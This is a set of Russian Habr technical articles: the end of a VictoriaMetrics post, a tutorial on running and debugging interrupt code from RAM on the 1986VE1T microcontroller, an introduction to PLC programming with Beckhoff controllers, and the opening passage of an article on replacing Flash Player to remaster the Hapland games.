при скрайпинге тысяч `node_exporter`. Это приводит к значительной экономии на инфраструктуре. P.S. Если вы еще не использовали VictoriaMetrics, то самое время попробовать. [VictoriaMetrics](https://github.com/VictoriaMetrics/VictoriaMetrics/) бесплатная и с открытым исходным кодом (включая [кластерную версию](https://victoriametrics.github.io/Cluster-VictoriaMetrics.html)). Если вам нужны корпоративные возможности и поддержка, посетите [сайт.](https://victoriametrics.com) --- > [**Узнать подробнее о курсе**](https://otus.pw/pySW/) **«DevOps практики и инструменты».**[**Смотреть открытый вебинар**](https://otus.pw/Uv9i/) **на тему «Prometheus: быстрый старт».** > >
https://habr.com/ru/post/541640/
null
ru
null
# Основы работы отечественных МК 1986ВЕ1Т с болгарскими отладчиками OLIMEX ARM-USB-OCD-H. Часть 2 — RAM & Interruptions Преамбула --------- Изначально вторая глава задумывалась только, как шпаргалка по работе из оперативной памяти, но делать и разбираться в этом не очень трудно. Основная "запара" может настигнуть несведущего именно при работе с прерываниями. Собсна, решено объединить. Стек: * Отладочная плата [LDM-HELPER-K1986BE1QI-FULL](https://ldm-systems.ru/product/20103); * МК [K1986BE1QI](https://ldm-systems.ru/product/19008)(но все паки и тд. юзаю 1986ВЕ1Т ибо ~~те же яйца, только с боку~~ даже даташит 1 на целую линейку); * Программатор [ARM-USB-OCD-H](https://www.olimex.com/Products/ARM/JTAG/ARM-USB-OCD-H/); * IDE Keil uVison 5; * Open OCD. Оффтоп"RAM & Interruptions" не потому что "Я умею писать по буржуйски", а потому что "Размер заголовка не может превышать 120 символов" и "Отладка прерываний в опреативной памяти" не лезет. Ну, как говорил препод по информатике: "Это по молодости кажется, что не влазит" Подготовка к работе ------------------- В принципе, подготовка ничем не отличается от [предыдущего поста](https://habr.com/ru/post/654957/), поэтому повторяться лишний раз не будем. Настройка Keil для линковки проекта в оперативную память -------------------------------------------------------- Для того, чтобы собрать проект под 1986BE1T (и не только) для отладки с помощью OLIMEX ARM-USB-OCD-H (и не только) из оперативной памяти средствами среды Keil uVision 5 необходимо для начала создать новый проект keil ([смотри все тот же предыдущий пост](https://habr.com/ru/post/654957/)). ![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/b8c/207/401/b8c2074015b48c32e607eb4f10b47d7f.png)После того, как проект будет создан, необходимо как-то объяснить линкеру, что именно мы хотим. Посмотрим, где и как это делать. Если жамкнуть правой кнопкой по "target" в дереве проекта можно увидеть опции – заходим туда. С «Output» все просто – минимально необходимое условие выполнения наших целей – это установленный флаг «Create Executable». «Target» и «Linker» же немного более интересны. На выходе конфигурации этих вкладок получим готовые скрипты для линкера с помощью так называемых «Scatter files». Что это за скатерть такая объяснять не будем, есть [документация.](https://developer.arm.com/documentation/dui0474/m/scatter-file-syntax) ![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/6bf/397/1fb/6bf3971fb7e7dcb18907cc3dc0504ce3.png)На вкладке «Linker» нужно включить флаг «Use Memory Layout from Target Dialog» - это позволит автогенерить скрипты в зависимости от того, как мы настроим вкладку «Target». Собственно, к "Target". ![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/61c/fb5/2e1/61cfb52e137ad217768e380f78ee71d4.png)Что видим тут полезного для поставленной цели, так это 2 блока с описанием памяти (причем предзаполненных! Спасибо пакам keil-а.). Посмотрим, какая скатерть получается на выходе. В папке проекта есть ./RTE/Device/MDR1986BE1T, а там файл MDR1986VE1T.sct. Это дефолтный скрипт. Так как никаких изменений не проводилось будет юзаться именно он. MDR1986VE1T.sct ``` ; ****************************************************************************** ; ************* Scatter-Loading Description File for MDR1986VE1T *************** ; ****************************************************************************** LR_IROM1 0x00000000 0x00020000 { ; load region size_region ER_IROM1 0x00000000 0x00020000 { ; load address = execution address *.o (RESET, +First) *(InRoot$$Sections) .ANY (+RO) .ANY (+XO) } RW_IRAM1 0x20000000 0x00008000 { ; RW data .ANY (+RW +ZI) } RW_IRAM2 0x20100000 0x00004000 { .ANY (+RW +ZI) } } ``` Небольшой анализ показывает, что код будет записываться в ER\_IROM1. Правда сейчас там все сконфигурировано так, чтобы грузить программу во флешу. Будем менять. Можно, кончено, править scatter руками, но проще воспользоваться рафическими инструментами. Инструкции линкуются в первый раздел IROM памяти. Т.е. изменив поля «Start» и «Size» IROM1 на вкладке «Target» можно получить нужную линковку. Видим, что разделов IRAM у нас 2. **Но.** Читая даташит натыкаемся на фразу: *«AHB-Lite – шина выборки инструкций и данных из внешнего адресного пространства»* и, немного покурив остальное описание понимаем, что эта шина – единственный способ дотянуться до инструкций в оперативной памяти. Смотрим адреса и понимаем, что программу для выполнения в оперативной памяти дозволено грузить с 0x20100000. ![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/cf2/d05/0f4/cf2d050f424a72758af373e739dcaf29.png)Итого: копируем поля из IRAM2 в IROM1 и ребилдим. Результирующий scatter файл. Будет находиться ./Objects/projectName.sct ``` ; ************************************************************* ; *** Scatter-Loading Description File generated by uVision *** ; ************************************************************* LR_IROM1 0x20100000 0x00004000 { ; load region size_region ER_IROM1 0x20100000 0x00004000 { ; load address = execution address *.o (RESET, +First) *(InRoot$$Sections) .ANY (+RO) .ANY (+XO) } RW_IRAM1 0x20000000 0x00008000 { ; RW data .ANY (+RW +ZI) } } ``` Теперь видно, что инструкции будут располагаться в оперативной памяти, причем именно в той, которая для них и предназначена. Отлично! Пора проверить. ### Запуск в оперативной памяти Загрузим проект по образу и подобию [1 части](https://habr.com/ru/post/654957/) статьи. И посмотрим адреса функций, например: ``` (gdb) x main 0x20100aa8 : 0x25d95598 ``` Т.е. адрес входа в main - 0x20100aa8, что вполне себе похоже на то, ради чего все это было затеяно. Попробуем простенькую программу. Пусть по прерыванию таймера зажжем диод на плате. Вначале было ~~слово~~ тактирование. С этого и начнем. Еще с первых дней знакомства с Миландровскими вычислителями был написан [небольшой блочок](https://github.com/JozeAlexandro/setCoreClock1986BE.git), для того, чтобы в будущих простых проектах не париться по поводу настройки частоты проца. Суть: работает от внутреннего HSI, разрешает задавать частоты от 8 до 128 МГц. Пока что этого хватало. Рассмотрим программу, которую будем грузить в RAM. Код туп, прост и, надеюсь, понятен. main.c ``` static void ledInit( void ); inline static void ledOn( void ) { MDR_PORTB->RXTX = 0; } inline static void ledOff( void ) { MDR_PORTB->RXTX = 1; } static void timerInit( void ); inline static void timerStart( void ) { MDR_TIMER1->CNTRL = 0x01; } void TIMER1_IRQHandler( void ); int main( void ) { // Основное тактирование freqHsiCpuSet( 8 ); // Инициализация диода ledInit(); // Инициализация таймера timerInit(); // Стартуем! Я сказала стар-ту-ем. timerStart(); while(1) __NOP(); } static void ledInit( void ) { MDR_RST_CLK->PER_CLOCK |= 1 << 22; PORT_InitTypeDef portLEDInitStruct; PORT_StructInit( &portLEDInitStruct ); portLEDInitStruct.PORT_OE = PORT_OE_OUT; portLEDInitStruct.PORT_MODE = PORT_MODE_DIGITAL; portLEDInitStruct.PORT_SPEED = PORT_SPEED_SLOW; portLEDInitStruct.PORT_Pin = PORT_Pin_0; PORT_Init( MDR_PORTB, &portLEDInitStruct ); ledOff(); } static void timerInit( void ) { NVIC_EnableIRQ( TIMER1_IRQn ); // Разрешение тактирования TIMER1 MDR_RST_CLK->PER_CLOCK |= 1 << 14; // Разрешение тактовой частоты на TIM1 MDR_RST_CLK->TIM_CLOCK |= 1 < 24; MDR_TIMER1->CNTRL = 0; // Настраиваем работу основного счетчика // Начальное значение MDR_TIMER1->CNT = 0; //Предделитель частоты MDR_TIMER1->PSG = 0; // Основание счета MDR_TIMER1->ARR = 0x0F; // Разрешение генерировать прерывание при CNT = ARR MDR_TIMER1->IE = 1 << 1; } void TIMER1_IRQHandler( void ) { ledOn(); MDR_TIMER1->IE = 0; NVIC_DisableIRQ( TIMER1_IRQn ); } ``` Что ожидается? А того, что после запуска практически сразу будет сработано прерывание от таймера. Окей. Грузим в оперативку. Запускаем. Аккуратный вывод «Continuing.» говорит о том, что программа запущена, но диод не горит( В чем же, собственно, дело? --------------------------- Приостановим программу и увидим, ``` (gdb) Program received signal SIGINT, Interrupt. main () at main.c:29 29 while(1) \_\_NOP(); ``` ... что мы в бесконечном цикле ожидания. Первая мысль (конечно же, после того, как выругал компилятор/отладчик/среду и тд. и тп. ибо виноват ТОЧНО не ты) - возможно не так проинициализировл LED. Ну, энивей, прерывание сработать должно, попробуем в него попасть, поставив точку останова в обработчике прерывания таймера: ``` (gdb) b TIMER1_IRQHandler Breakpoint 2 at 0x20100192: TIMER1_IRQHandler. (2 locations) ``` Перезапустим: ``` (gdb) monitor reset halt (gdb) load (gdb) c ``` Ничего не изменилось( Глянем состояние регистров таймера. Счетчик (Регистр CNT) лежит по адресу 0x40070000, а Основание (Регистр ARR) по 0x40070000. ``` (gdb) x 0x40070000 0x40070000: 0x0000 (gdb) x 0x40070000 0x40070000: 0x0000 ``` Таким же образом можно проверить флаги разрешения прерываний и прочее. И, судя по, что счетчик досчитал до основания и прерывания разрешены (trust me i am an engineer) все должно было сработать. Но не сработало. А теперь попробуем провернуть все тоже самое, но во флеше. Проводим нехитрые манипуляции с вкладкой "Target", ребилдим, запускаем. Загрузились, запустились – все работает. И диод горит в прерывании остановились. ``` (gdb) c Continuing. Breakpoint 1, main () at main.c:18 18 freqHsiCpuSet( 8 ); (gdb) c Continuing. Breakpoint 2, TIMER1_IRQHandler () at main.c:77 77 ledOn(); (gdb) c Continuing. ``` Суть в том, что таблица векторов прерываний в данных МК **непереносима в принципе** и располагается по **нулевому адресу**. Убедимся, рассмотрев файл startup\_MDR1986VE1T.S. Там происходит начальная инициализация: стек поинтер, размеры кучи, стека… Но сейчас будет интересовать таблица векторов прерываний. startup\_MDR1986VE1T (кусочек) ``` ; Vector Table Mapped to Address 0 at Reset AREA RESET, DATA, READONLY EXPORT __Vectors __Vectors DCD __initial_sp ; Top of Stack DCD Reset_Handler ; Reset Handler DCD NMI_Handler ; NMI Handler DCD HardFault_Handler ; Hard Fault Handler DCD 0 ; Reserved DCD 0 ; Reserved DCD 0 ; Reserved DCD 0 ; Reserved DCD 0 ; Reserved DCD 0 ; Reserved DCD 0 ; Reserved DCD SVC_Handler ; SVCall Handler DCD 0 ; Reserved DCD 0 ; Reserved DCD PendSV_Handler ; PendSV Handler DCD SysTick_Handler ; SysTick Handler ; External Interrupts DCD MIL_STD_1553B2_IRQHandler ;IRQ0 DCD MIL_STD_1553B1_IRQHandler ;IRQ1 DCD USB_IRQHandler ;IRQ2 DCD CAN1_IRQHandler ;IRQ3 DCD CAN2_IRQHandler ;IRQ4 DCD DMA_IRQHandler ;IRQ5 DCD UART1_IRQHandler ;IRQ6 DCD UART2_IRQHandler ;IRQ7 DCD SSP1_IRQHandler ;IRQ8 DCD BUSY_IRQHandler ;IRQ9 DCD ARINC429R_IRQHandler ;IRQ10 DCD POWER_IRQHandler ;IRQ11 DCD WWDG_IRQHandler ;IRQ12 DCD TIMER4_IRQHandler ;IRQ13 DCD TIMER1_IRQHandler ;IRQ14 DCD TIMER2_IRQHandler ;IRQ15 DCD TIMER3_IRQHandler ;IRQ16 DCD ADC_IRQHandler ;IRQ17 DCD ETHERNET_IRQHandler ;IRQ18 DCD SSP3_IRQHandler ;IRQ19 DCD SSP2_IRQHandler ;IRQ20 DCD ARINC429T1_IRQHandler ;IRQ21 DCD ARINC429T2_IRQHandler ;IRQ22 DCD ARINC429T3_IRQHandler ;IRQ23 DCD ARINC429T4_IRQHandler ;IRQ24 DCD 0 ;IRQ25 DCD 0 ;IRQ26 DCD BKP_IRQHandler ;IRQ27 DCD EXT_INT1_IRQHandler ;IRQ28 DCD EXT_INT2_IRQHandler ;IRQ29 DCD EXT_INT3_IRQHandler ;IRQ30 DCD EXT_INT4_IRQHandler ;IRQ31 ``` Эта же таблица (только External Interrupts) описана в разделе 31.10 «Lock-up» даташита. А вот в пункте 31.1 *«Типы исключений»* написано: *"В таблице представлены типы исключений, их номера и приоритет. Номер показывает словное смещение исключений относительно стартового адреса таблицы векторов, которая всегда расположена в 0x0."* После небольшого когнитивного напряжения замечаем, что таблица «железно» вбивается в нулевой адрес. Заметить это нужно очень и очень, ибо с этим пришлось повозиться. Сразу было неочевидно. (Ну, мб я дурень, а остальные до этого сразу догадываются). Ок, посмотрим на таблицу изнутри. ``` (gdb) x/48 0x0 0x0 : 0x20002068 0x00000165 0x0000016d 0x0000016f 0x10 : 0x00000000 0x00000000 0x00000000 0x00000000 0x20 : 0x00000000 0x00000000 0x00000000 0x00000171 0x30 : 0x00000000 0x00000000 0x00000173 0x00000175 0x40 : 0x00000177 0x00000179 0x0000017b 0x0000017d 0x50 : 0x0000017f 0x00000181 0x00000183 0x00000185 0x60 : 0x00000187 0x00000189 0x0000018b 0x0000018d 0x70 : 0x0000018f 0x00000191 0x0000083d 0x00000195 0x80 : 0x00000197 0x00000199 0x0000019b 0x0000019d 0x90 : 0x0000019f 0x000001a1 0x000001a3 0x000001a5 0xa0 : 0x000001a7 0x00000000 0x00000000 0x000001a9 0xb0 : 0x000001ab 0x000001ad 0x000001af 0x000001b1 ``` Так как таблица - это вполне себе символ можно указать ``` (gdb) x/48 __Vectors ``` Выведет тоже самое. Почему 48? 32 внешних прерывания + адрес вершины стека + 6 системных прерываний + 9 зарезервированных полей. Заметим, что наше прерывание от таймера (TIMER1\_IRQHandler) – это IRQ14. Т.е. (16 + 14) \* 4 = 120(в дес) ил 0x78. Что лежит по этому адресу? ``` (gdb) x/ 0x78 0x78 : 0x0000083d ``` А куда указывает? ``` (gdb) x 0x0000083d 0x83d : 0x8ff000b5 ``` Есть! То самое прерывание, которое искали. Подобное можно выщучить из таблицы. Получается строка 0x70 столбец 3, т.к. 1 слово = 4 байта. Кстати, выглядит это все примерно так: ![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/eee/10c/8a2/eee10c8a22bb35cb1b0f4c30a46ab400.png)Вернемся немного назад и провернем все тоже самое, но в оперативке. Глянем таблицу. ``` (gdb) x/48 0 ``` Осталась неизменной, что, наверное и следовало ожидать, ведь флеш не прошивалась. А что лежит по ``` (gdb) x 0x0000083d 0x83d: 0x8ff000b5 ``` Собственно, то, что и было, но без символа. Заметил только при написании статьиВозможно теперь это отработает правильно (ибо флеш прошита такой же программой, что и в оперативке, но мы "зайдем" не в тот обработчик, что написали, а в тот, что прошит). Для чистоты эксперимента лучше очистить флешку. А глянем теперь таблицу через символ ``` (gdb) x/48 __Vectors 0x20100000 <__Vectors>: 0x20002068 0x20100165 0x2010016d 0x2010016f 0x20100010: 0x00000000 0x00000000 0x00000000 0x00000000 0x20100020: 0x00000000 0x00000000 0x00000000 0x20100171 0x20100030: 0x00000000 0x00000000 0x20100173 0x20100175 0x20100040: 0x20100177 0x20100179 0x2010017b 0x2010017d 0x20100050: 0x2010017f 0x20100181 0x20100183 0x20100185 0x20100060: 0x20100187 0x20100189 0x2010018b 0x2010018d 0x20100070: 0x2010018f 0x20100191 0x2010083d 0x20100195 0x20100080: 0x20100197 0x20100199 0x2010019b 0x2010019d 0x20100090: 0x2010019f 0x201001a1 0x201001a3 0x201001a5 0x201000a0: 0x201001a7 0x00000000 0x00000000 0x201001a9 0x201000b0: 0x201001ab 0x201001ad 0x201001af 0x201001b1 ``` Есть родная, причем наше прерывание туц описано правильно. Осталось переместить ее во флешу. К сожалению чистых способов я не знаю, затрагивать флешку придется энивей. Последний рывочек ----------------- Есть несколько способов добиться желаемого результата, но вот этот мне нравится больше всех: прошить во флешку обработчик прерывания, который будет переходить по нужному адресу в оперативной памяти. Создаем новый проект, который будет располагаться во флеш ``` #define READWD(x) (*((volatile uint32_t *)(x))) typedef void ( *fUserIrptHandler )( void ); int main() { while(1){} } void TIMER1_IRQHandler() { volatile uint32_t addr = READWD( 0x20100078 ); fUserIrptHandler funcInRAM = ( fUserIrptHandler )( addr ); funcInRAM(); } ``` Все предельно просто. При срабатывании прерывания, по таблице попадем в тот обработчик, который лежит во флеш. В нем же мы переходим к пользовательскому обработчику, расположенному уже в оперативной памяти. Такая получается матрешка. Смещение постоянное, так что для расчета не тяжко: Стартовый адрес памяти (0x20100000) + сдвиг для конкретного прерывания (0x78). Прошиваем данную флеш вспомогательной программой. Запускаем ту программу, что с таймером из оперативной. Baldezh. Итого ----- Да, совсем обойтись без флехи не удалось, но всегда нужно искать плюсы: * Если такой способ есть гуру обязательно подскажет о нем в комментарии - буду рад; * Погрузились во внутрянку работы проца, это полезно; * Все-таки прошить можно 1 раз флешку нужными обработчиками и уйму раз отлаживаться в оперативке, не коцая постоянку. Есть конечно, трабл: если во флешке будет прошит обработчик, а в оперативке мы его не сделаем - будет доступ не туда, куда надо - а это беда. Спасибо, надеюсь кому-то статья поможет :)
https://habr.com/ru/post/657533/
null
ru
null
# ПЛК — что это такое? Доброго времени суток, уважаемые жители Хабра! Прочитав [пост про программирование ПЛК Siemens серии S7](http://habrahabr.ru/blogs/controllers/139180/), я залез в поиск по Хабру, и был весьма удивлен, что тема промышленной автоматики вообще, и программирования ПЛК в частности, освещена весьма и весьма скудно. Возьму на себя смелость поделиться своим опытом в данной области, описав базовые принципы программирования ПЛК, в частности, производства компании [Beckhoff](http://www.beckhoff.com). ##### Введение Я занимаюсь автоматизацией зданий. Сложилось так, что в основном мы строим свои системы на базе ПЛК Beckhoff. Такой выбор был сделан прежде всего потому, что эти контроллеры являются свободно-программируемыми в полном смысле этих слов. Что это значит? Возьмите контроллер TAC Xenta, например, и попробуйте на нем реализовать обмен с внешним устройством через RS232 по собственному протоколу, на уровне «байт послал — байт принял». Не получится, эти контроллеры так не умеют — используйте только те протоколы, которые в них заложил разработчик. А Beckhoff умеет. Но прежде чем лезть в такие дебри, давайте посмотрим на среду разработки? На каком, собственно, языке, мы будем писать? ##### Стандарт МЭК 61131-3 Промышленные ПЛК программируются на языках стандарта [МЭК 61131-3](http://ru.wikipedia.org/wiki/IEC_61131-3). Всего этих языков 5, некоторые производители добавляют свои. Языки друг на друга совсем не похожи, и, наблюдая за коллегами, могу предположить, что выбор того или иного языка связан прежде всего с тем, чем человек занимался до того, как он пришел в эту отрасль. 1. IL, instruction list, список инструкций. Похож на ассемблер. Не видел никого, кто его использовал бы, но подозреваю, что олдскульные кодеры, пробивавшие перфокарты по памяти, оценят. 2. LD, ladder diagram. Визуальный язык, для тех, кто занимался разработкой схем релейной автоматики. 3. ST, structured text. Более всего напоминает «классические» языки программирования, чем-то похож на Паскаль. Оттого ценится теми, кто до ПЛК занимался программированием на других языках и платформах, в частности — мной. 4. FBD, functional block diagram. Этакая блок схема, любим прежде всего технологами, решившими податься в программирование, за свою наглядность. 5. SFC, sequential function chart. Графический язык, больше ничего не скажу. Ни разу не видел, чтоб его использовали. Из не всеми поддерживаемых языков стоит отметить язык CFC (continuous flow chart), Beckhoff его поддерживает. Это дальнейшее развитие языка FBD, одним из наиболее существенных отличий, на мой взгляд, является поддержка явной обратной связи в схемах. Зачем это нужно? Например, вот такой генератор коротких импульсов на CFC будет работать, а на FBD – нет. ![](https://habrastorage.org/storage2/fcf/3bc/de1/fcf3bcde1dcce8f3560c5fa6ef472ac8.gif) Блок TON — это стандартный блок, таймер с задержкой включения. Логика работы: выход Q становится TRUE, когда на входе IN сигнал TRUE в течение не менее времени PT. Самая популярная, наверное, среда разработки под ПЛК — это [CoDeSys](http://www.3s-software.com/index.shtml?russ-homepage). Многие производители берут ее за основу, и либо делают к ней библиотеку для работы со своим ПЛК, либо доделывают среду под себя. ##### Как работает ПЛК? Программа ПЛК работает циклично. Время цикла может быть от единиц миллисекунд до единиц секунд, в зависимости от задач, которые на этот ПЛК возложены. Большинство ПЛК позволяют задавать время цикла разработчику программы, однако в некоторых моделях такой возможности нет. Многие ПЛК, в частности Beckhoff, позволяют в одной программе создать более одной циклически выполняемой задачи, и задать приоритет для этих задач. Что нам дает эта возможность? Представим ситуацию: ПЛК управляет вентиляционной установкой, и к нему подключена панель управления через RS232. Температура в помещениях меняется не быстро, и запускать алгоритм управления вентиляцией чаще, чем раз в 50 — 100 мс просто нет смысла. Зато панель оператора опрашивает контроллер постоянно, и задержка ответа ПЛК более 10 мс уже выражается в «притормаживании» интерфейса пользователя, а при задержке 20 мс у нас переполнится аппаратный буфер COM-порта. Наличие нескольких задач позволяет нам решить эту проблему красиво: пусть «быстрая» задача работает с COM-портом, и вызывается каждые 2 мс, а «медленная» реализует логику работы вентиляции, и вызывается каждые 50 мс. Все работает хорошо, панель оператора не тормозит, пользователь доволен. ##### А что у этих железок внутри? Тут все очень и очень зависит от производителя. Кто-то делает свою embedded-платформу на RISC-процессоре (например, отечественный «Овен») — этот подход очень популярен. Beckhoff же пошли по другому пути — на их ПЛК установлена Windows CE 5.0 (а если обновить с официального сайта прошивку — то 6.0), или же Windows XP Embedded, а PLC-задача работает как служба. Достаточно интересный контраргумент для любителей рассказывать о нестабильности Windows. Но это «голова» контроллера, а ведь ему еще нужны входы и выходы, чтобы общаться с внешним миром. Тут есть два подхода: 1. Можно сделать «все в одной коробке» — голова, некий набор входов / выходов, несколько вариантов конфигурации — вот тут у нас входов побольше, тут поменьше, тут голова помощнее, тут послабее. Так делают, например, [Carel](http://www.carel.com/carelcom/web/eng/catalogo/gamma_dett.jsp?id_gamma=1&id_tipologiaProdotti=1), и много кто еще. На маленьком проекте такой подход себя в чем-то, может быть, и оправдывает. 2. Но лично мне кажется, что большую гибкость дает другой подход. Голова отдельно, и к ней по шине подключается наборный «хвост» из модулей ввода-вывода. Мы ставим те модули, которые нам нужны, и в том количестве, которые нам нужно. Так делают Beckhoff и Siemens, например. ![image](http://www.carel.com/carelcom/web/@extsrc/@common/@catalogo/@immagini/@foto/ph_pCO3-.jpg) Вот так выглядит внешне подход «все в одной коробке». На фото Carel pCO3. ![image](https://habrastorage.org/r/w780q1/getpro/geektimes/post_images/d3b/bcd/118/d3bbcd11828d47a385bf3eaefcd9d63e.jpg) А вот другой вариант — голова Beckhoff серии CX9000 (слева на фото) с набором модулей ввода-вывода. Помимо всего прочего, на голове еще имеется некая шина, позволяющая объединять ПЛК в сеть, а зачастую еще и менять его программу через эту же сеть. Какая это будет сеть — зависит от ПЛК. Это могут быть и незнакомые тем, кто не сталкивался с промышленными сетями [EIA-485](http://ru.wikipedia.org/wiki/RS-485), [Profibus](http://ru.wikipedia.org/wiki/Profibus), [CAN](http://ru.wikipedia.org/wiki/Controller_Area_Network), а может быть и вполне привычный Ethernet. Именно через эту сеть, называемую fieldbus, и осуществляется подключение ПЛК к верхнему уровню — к СКАДА-системе, например. На фото выше хорошо видны 2 разъема 8P8C на голове Beckhoff'а — это Ethernet, а у Carel сверху слева видны (плоховато, правда) 2 разъема 6P4C — так они сделали RS-485. У этого интерфейса, к сожалению, нет общепринятого разъема. ##### Так все же, как под него программы писать-то? Вообще, это тема не статьи, а целой книги. Но расскажу то, что увидел на личном опыте, и пусть это будет ложкой дегтя. Для профессиональных программистов освоение ПЛК во многом покажется деградацией. ООП? Их нет у нас, есть только структуры, перечисления, и некое подобие класса, которое называется «функциональный блок». Что такое Private, Public и прочее, тоже можно забыть сразу — не пригодится. Из любого места вашей программы можно получить доступ к любому другому месту. Динамическое выделение памяти? Их нет у нас совсем. Не уверен, сколько тебе пришлют данных? Выделяй буфер с запасом, и забудь про эту память — освободить ее не получится. Либо проявляй чудеса скорости и обрабатывай данные на лету, если успеешь уложиться в заданное время цикла. Исключения? Да что вы… видел я одно чудо, которое намертво висло при выполнении конструкции вида: ``` foo, bar: int; baz: real; foo := 2000; bar := 2000; baz := INT_TO_REAL (foo * bar); ``` Понятно, что переполнение, не влазит foo \* bar в 16 бит, но зачем же виснуть-то? Да еще так, что ничего, кроме сброса по питанию не помогает. Среда разработки? Не у всех CoDeSys, многим хочется пооригинальничать и написать что-нить свое. Одна из таких самописных сред вылетала с runtime error при попытке записать число 86400 в 16-битный INT. А вы говорите, обработка исключений на ПЛК. Ее и в среде разработки-то не всегда нормально могут сделать. НО! Зато для любителей той тонкой грани, которая отделяет железо от программного обеспечения, софта в просторечии — это очень интересная ветвь ай-ти, правда. Надеюсь, что этот небольшой обзор будет полезен. Если хабрасообществу будет интересна эта тема, то расскажу про ПЛК подробнее.
https://habr.com/ru/post/139425/
null
ru
null
# Заканчивается 2022 год, а я всё ещё использую Flash В 2020 году Adobe прибила Flash Player, но я не захотел, чтобы мои Flash-игры пропали навечно. С разными промежутками я делал игры всю свою жизнь, но людям особенно нравилась серия Hapland, поэтому я решил, что неплохо было бы исправить их для релиза в Steam. Можно нарисовать графику получше, повысить частоту кадров и разрешение, а может, и добавить новых секретов и тому подобного. ![](https://habrastorage.org/r/w1560/webt/ih/in/eq/ihineqj7-7exym5egp5whf_u3tm.png) *Hapland 2* Проблема в том, что игры Hapland по большей части созданы на Flash. Графика нарисована во Flash, код написан во Flash, все анимации выполнены в таймлайне Flash. Технология Flash стала их плотью. Как же мне их улучшить? Неудачная попытка №1 -------------------- Первым делом я попробовал экспортировать игры из Flash как исполняемые файлы. Тогда это была бы очень короткая статья, но попытка не удалась, потому что производительность оказалась почти такой же низкой, как в 2005 году. Я хотел сделать качественный продукт, работающий с современной частотой кадров. Мне хотелось освободиться от Flash Player. Неудачная попытка №2 -------------------- Потом я потратил кучу времени на эксперименты с Adobe AIR (десктопной средой исполнения Flash) и Starling (библиотекой, отрисовывающей Flash-сцену через GPU). В конечном итоге я сдался, в том числе и потому, что AIR забагован и ужасен. Кроме того, мне не хотелось, чтобы в конце у меня получилось что-то на основе технологий Adobe; мне нужен был мой собственный проект, с которым я могу делать всё, что пожелаю. Что, если бы я захотел портировать его в Linux? Мне не хотелось полагаться на мнение Adobe о том, могу ли я это сделать. Поэтому моя задача была очевидной: я должен создать собственный Flash player. План ---- Hapland работает следующим образом: существует дерево спрайтов; в Flash к некоторым кадрам анимированных спрайтов можно добавлять код, выполняемый, когда до него доберётся указатель воспроизведения. В Hapland активно используется эта функция. Пути движения персонажей игры — это всё большие и длинные таймлайн-анимации, а у персонажей часто есть действия кадров; допустим, если он подходит к двери, нужно её открыть, если она закрыта; если он наступает на мину, она должна взорваться, если ещё не взорвалась. ![](https://habrastorage.org/r/w1560/webt/gi/dz/g_/gidzg_chgtjckkvbjn7tycqxu80.png) *Строчные буквы «a» в таймлайне — это действия кадров.* К счастью, файлы .fla — это просто XML. Мне достаточно было распарсить их, экспортировать релевантные данные в какой-нибудь формат, написать плеер для их считывания, отрисовывать сцену, обрабатывать ввод и проигрывать анимации. [У меня было искушение использовать для экспорта обычный SWF, потому что Flash знает, как в него экспортировать, но это мне не подошло бы, потому что SWF — это векторный формат, а я не хотел выполнять растеризацию во время выполнения, потому что это ограничивает возможности работы со скриптами и по другим причинам, которые я уже не помню.] Ещё мне нужно было что-то сделать с ActionScript. Hapland останется Flash-проектом, написанным и поддерживаемым во Flash editor; я заменю только Flash Player. Растеризация векторов --------------------- В основе Flash лежит векторная графика. Он поддерживает растровые изображения, но на самом деле разработан под вектор. Именно благодаря этому Flash-ролики загружались так быстро даже во времена модемных соединений. Вся графика Hapland векторная. GPU не любят отрисовывать векторную графику, им нравятся кучи текстурированных треугольников. Поэтому мне нужно было растеризировать эти векторы. Я решил растеризировать их офлайн и упаковать растровые файлы в игру. Было бы интересно, если бы игра растеризовала их во время выполнения, тогда бы исполняемый файл оказался бы крошечным, но мне не хотелось усложнять систему. Мне нравится, когда максимально большая часть кода работает на моей собственной машине для разработки и я могу её контролировать. Flash хранит свою векторную графику в формате XML. Вы можете сказать, что XML — это плохой выбор для графических данных, но, увы, вы не были продукт-менеджером в Macromedia. Узрите: ![](https://habrastorage.org/r/w1560/webt/6_/it/pz/6_itpz3a2gjef7nrwjgsyay1brs.png) *Векторные данные из файла .fla* Но я не жалуюсь, на самом деле это упрощает мою работу. Хотя у меня и не было доступа к спецификациям, растеризация — не такая уж сложная задача. Модель векторной графики на кривых Безье после появления PostScript распространилась повсюду. Все эти API работают одинаково. Немного помучившись с разбором того, что значат все эти `!`, `[` и так далее, я написал программу для парсинга этих описаний фигур и рендеринга их в PNG при помощи библиотеки CoreGraphics на Mac. [`!`: перемещение в точку. `|` или `/`: прямая линия до точки. `[`: сегмент Безье до точки. `S`: понятия не имею.] CoreGraphics оказалась сомнительным выбором. Я решил взять её, потому что работал на Mac, а она уже там есть, и зависимости жёстко заданы. Но из-за этого мне всегда приходилось растеризировать графику на Mac, даже для сборок под Windows. Если бы мне пришлось делать нечто подобное ещё раз, я бы, наверно, выбрал кроссплатформенную библиотеку. После рендеринга этих PNG программа экспорта собирает их в атласы. Она делает это довольно наивным образом: просто сортирует всё по по высоте и выставляет построчно как текст в документе. Это далеко не оптимально, но вполне приемлемо. Чтобы не усложнять, атласы имеют размер 2048×2048 пикселей — минимальный размер текстур, который обязаны поддерживать реализации OpenGL 3.2. ![](https://habrastorage.org/r/w1560/webt/dr/ak/1x/drak1xvj_fobzadkgaqdnuntu8u.png) *Атлас из Hapland 3* Растеризация фигур выполняется довольно медленно, поэтому чтобы время выполнения сборок было приемлемым, мне нужно было пропускать рендеринг того, что не изменилось. В сжатом zip формате XML, который использует Flash, есть поля с указанием последнего изменения для каждого файла, однако Flash, похоже, использует их неправильно, и на них нельзя полагаться. [И это можно заметить — на сохранение крупных документов Flash требуется целый век, даже если вы внесли лишь небольшое изменение; вероятно, он вообще не отслеживает время последнего изменения.] Поэтому вместо этого я просто хэшировал XML каждой фигуры и выполнял повторную сборку, только если она изменилась. И даже это не всегда срабатывало, потому что Flash иногда любит перестраивать тэги XML в объектах, которые не изменились, но мне этого оказалось вполне достаточно. Используем ассемблер для записи двоичных файлов ----------------------------------------------- Программа экспорта записывает данные в специальный двоичный формат. [Я люблю по возможности использовать в ПО для конечных пользователей двоичные форматы; не считаю, что нужно заставлять компьютеры пользователей пережёвывать кучи XML.] Она просто проходит кадр за 